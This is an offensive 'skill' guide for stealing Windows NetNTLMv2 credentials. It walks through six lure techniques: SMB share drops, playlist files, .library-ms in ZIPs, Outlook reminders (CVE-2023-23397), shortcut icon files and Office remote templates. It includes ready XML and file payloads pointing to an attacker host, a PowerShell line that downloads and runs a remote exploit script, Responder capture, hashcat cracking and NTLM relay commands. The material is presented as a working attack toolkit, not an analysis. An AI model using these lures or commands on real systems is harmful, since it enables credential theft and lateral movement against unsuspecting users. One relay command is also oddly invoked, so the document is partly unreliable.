NTLM Credential Theft Techniques

This skill provides methods to capture NetNTLMv2 hashes by coercing Windows systems to authenticate to attacker-controlled SMB shares. These hashes can be cracked offline or relayed for lateral movement.

When to Use This Skill

Use this skill when you need to:

• Capture NetNTLMv2 hashes from Windows systems
• Exploit writable SMB shares for credential theft
• Create authentication lures (SCF, LNK, URL, library-ms files)
• Exploit Windows vulnerabilities for zero-click NTLM leaks
• Coerce authentication through Office documents, Outlook, or Windows Media Player
• Set up Responder or SMB listeners for credential capture

Prerequisites

• Access to a writable SMB share OR ability to deliver files to targets
• Network position to capture SMB traffic (same subnet or relay capability)
• Responder or impacket-smbserver installed
• Hashcat for offline cracking (optional)

Core Attack Flow

1. Generate lures - Create files that trigger SMB authentication
2. Deliver lures - Place on writable shares or send to targets
3. Capture credentials - Listen for NetNTLMv2 hashes
4. Crack or relay - Use captured hashes for access

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Technique 1: Writable SMB Share Lures

Best for: When you have write access to a share that users browse in Explorer

Generate Lure Files

Use the bundled script to create multiple lure types:

./scripts/generate_ntlm_lures.sh <attacker_ip> <output_dir>

This creates SCF, URL, LNK, library-ms, desktop.ini, and Office files pointing to your SMB share.

Deploy to Writable Share

smbclient //victim/share -U 'guest%'
cd transfer/
prompt off
mput <lure_files>

Capture Credentials

# Start Responder listener
sudo responder -I <interface>

# Or use impacket
python3 -m impacket.smbserver share .

Crack Captured Hashes

hashcat -m 5600 hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

Note: Windows Explorer previews files automatically - no clicks required if the victim browses the folder.

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Technique 2: Windows Media Player Playlists

Best for: When you can get a target to open or preview a WMP playlist

Create ASX/WAX Playlist

Use the bundled script:

./scripts/create_wmp_playlist.py <attacker_ip> <output_file.asx>

Or manually create:

<asx version="3.0">
  <title>Leak</title>
  <entry>
    <title></title>
    <ref href="file://ATTACKER_IP\\share\\track.mp3" />
  </entry>
</asx>

Delivery Methods

• Email the .asx/.wax file
• Place on a website and link to it
• Include in a ZIP with other files

Capture

sudo responder -I <interface>

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Technique 3: ZIP-Embedded .library-ms (CVE-2025-24071/24055)

Best for: Zero-click NTLM leak when victim opens ZIP file

Create .library-ms File

Use the bundled script:

./scripts/create_library_ms.py <attacker_ip> <output_file.library-ms>

Or manually create with this XML:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <version>6</version>
  <name>Company Documents</name>
  <isLibraryPinned>false</isLibraryPinned>
  <iconReference>shell32.dll,-235</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\<attacker_ip>\\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Package and Deliver

# Zip the file
zip library.zip <file>.library-ms

# Deliver to target

Capture

sudo responder -I <interface>

Note: Simply browsing/opening the .library-ms from inside the ZIP triggers the leak - no clicks needed.

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Technique 4: Outlook Calendar Reminder (CVE-2023-23397)

Best for: Zero-click NTLM leak on unpatched Outlook systems

Prerequisites

• Access to a host with Outlook installed and configured mailbox
• Target must have Outlook for Windows running when reminder fires

Execute Attack

Use the bundled PowerShell script:

./scripts/create_outlook_reminder.ps1 <recipient> <attacker_ip>

Or run manually:

# Run on a host with Outlook installed
IEX (iwr -UseBasicParsing https://raw.githubusercontent.com/api0cradle/CVE-2023-23397-POC-Powershell/main/CVE-2023-23397.ps1)
Send-CalendarNTLMLeak -recipient user@example.com -remotefilepath "\\<attacker_ip>\\share\\alert.wav" -meetingsubject "Update" -meetingbody "Please accept"

Capture

sudo responder -I eth0

Note: Patched on March 14, 2023. Still effective on legacy/untouched systems.

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Technique 5: .LNK/.URL Icon-Based Zero-Click (CVE-2025-50154)

Best for: Bypassing Microsoft's April 2025 patch for UNC-icon shortcuts

Create .URL File

[InternetShortcut]
URL=http://intranet
IconFile=\\<attacker_ip>\\share\\icon.ico
IconIndex=0

Create .LNK File

Use the bundled script:

./scripts/create_lnk_lure.py <attacker_ip> <output.lnk>

Or via PowerShell:

$lnk = "$env:USERPROFILE\Desktop\lab.lnk"
$w = New-Object -ComObject WScript.Shell
$sc = $w.CreateShortcut($lnk)
$sc.TargetPath = "\\<attacker_ip>\\share\\payload.exe"
$sc.IconLocation = "C:\\Windows\\System32\\SHELL32.dll"  # Local icon bypasses checks
$sc.Save()

Delivery

• Drop in a ZIP file
• Place on writable share
• Combine with other lures in same folder

Capture

sudo responder -I <interface>

Note: Merely viewing the folder triggers authentication - no clicks required.

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Technique 6: Office Remote Template Injection

Best for: Coercing NTLM when victim opens Office document

Create Document with Remote Template

Use the bundled script:

./scripts/create_office_template.py <attacker_ip> <output.docx>

Manual Method

1. Create a .docx file (it's a ZIP archive)
2. Edit

   word/settings.xml

   - add:

<w:attachedTemplate r:id="rId1337" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>

3. Edit

   word/_rels/settings.xml.rels

   - add:

<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="\\\\<attacker_ip>\\share\\template.dotm" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships"/>

4. Repack to .docx and deliver

Capture

sudo responder -I <interface>

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Post-Capture: What to Do with NetNTLMv2 Hashes

Option 1: Offline Cracking

# Hashcat autodetects mode 5600 for NetNTLMv2
hashcat -m 5600 hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

# Or with custom wordlist
hashcat -m 5600 hashes.txt /path/to/wordlist.txt

Option 2: NTLM Relay

# Relay to SMB
npx ntlmrelayx -t smb://<target> -smb2support

# Relay to LDAP
npx ntlmrelayx -t ldap://<target>

# Relay to HTTP
npx ntlmrelayx -t http://<target>

Option 3: Pass-the-Hash (if cracked)

# Use cracked password for access
# Or use hash directly with tools like Mimikatz

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Quick Reference: Lure File Types

File Type	Trigger	Click Required	Notes
SCF	Explorer preview	No	Shell command file
LNK	Explorer preview	No	Windows shortcut
URL	Explorer preview	No	Internet shortcut
library-ms	ZIP open	No	Windows library definition
desktop.ini	Folder browse	No	Folder customization
.asx/.wax	WMP open	Yes	Media playlist
.docx	Document open	Yes	Office template
Outlook reminder	Reminder fires	No	Calendar item

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Scripts Available

• generate_ntlm_lures.sh

  - Generate multiple lure file types

• create_library_ms.py

  - Create .library-ms files for ZIP attacks

• create_wmp_playlist.py

  - Create Windows Media Player playlists

• create_lnk_lure.py

  - Create .LNK shortcut lures

• create_office_template.py

  - Create Office documents with remote templates

• create_outlook_reminder.ps1

  - PowerShell for Outlook calendar attacks

• setup_responder.sh

  - Configure Responder listener

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References

• osandamalith - Places of Interest in Stealing NetNTLM Hashes
• Greenwolf/ntlm_theft
• TeamsNTLMLeak
• windows-coerced-authentication-methods
• CVE-2023-23397 - Outlook EoP
• CVE-2025-24071/24055 - ZIP .library-ms
• CVE-2025-50154 - LNK Icon Bypass